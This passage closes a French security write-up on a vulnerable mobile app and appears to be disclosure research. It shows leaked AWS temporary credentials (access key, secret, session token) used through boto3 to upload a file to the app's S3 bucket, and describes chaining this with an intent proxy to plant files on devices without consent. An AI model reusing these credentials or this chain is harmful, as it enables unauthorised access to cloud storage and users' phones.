96s49kOcRTqLrPcWjaDl9EWRIHSE20oWqFZgtzhUTKeuH/6dxQKI22MExMYSWJ3haIh4AaKVEpXbbtZ4oJ64w1ZWz5CU7zOnl4m2F8Bwh9hb6mP+95IUp0o9/kXcPjDe9YJ6kYFbDhU4oGCAjAHCxWsL6vJ5poJ/qNL3O15"},"IdentityId":"us-east-1:f86198c7-c5ac-499d-a3a8-f3f3d81dfd6b"}
Les clés et secrets collectés peuvent servir à envoyer un fichier malveillant :
In [3]: client = boto3.client('s3', aws_access_key_id='ASIA434KFTPDWAXUDMIH', aws_secret_access_key='/zG9QSpBVeJGIWCg4tLGrJDcebFFscSoNvwMRNaO', aws_session_token='IQoJb3JpZ2luX2VjEE8aDmFwLW5vcnRoZWFzdC0xIkcwRQIhAJ
rgBgcgwfTTRKStiKqJm0V5lhCaOZGdv5FsTDnjJ1VdAiBPLLqsTPECBMvqlYgZtxQvdjkogHQ6e/sC7sEKx9vzYyqkBgiY//////////8BEAAaDDg4NDUxNjE2NjU5OSIM/3UJHbnWKR8tbGbCKvgFRxHRJ9I3p7eVLDUuFPLWv8ILMCn5Mg1wxDLnY/U1IfbkRRk3V6Evojk
In [17]: client.upload_file('cross3x3.png', '3gcdn.tokyo', '/tmp/9A6C7-2021-03-09/headpic/crsog.pn')
Nous pouvons ensuite enchaîner le proxy d'intent avec la fonctionnalité de téléchargement pour télécharger le fichier sur l'appareil à l'insu de l'utilisateur et sans son consentement.

Conclusion
Cet article montre comment plusieurs vulnérabilités peuvent être enchaînées pour exploiter une application mobile à distance. Des fichiers peuvent être exfiltrés de l'appareil, tout comme ils peuvent y être insérés, à l'insu de l'utilisateur et sans son consentement.
Nous constatons aussi plusieurs lacunes de sécurité, du trafic en clair aux mots de passe codés en dur en passant par des algorithmes de chiffrement non sécurisés.
L'aspect alarmant est que des applications aussi vulnérables puissent atteindre un grand nombre d'utilisateurs tout en faisant preuve de négligence envers leur sécurité et leur vie privée.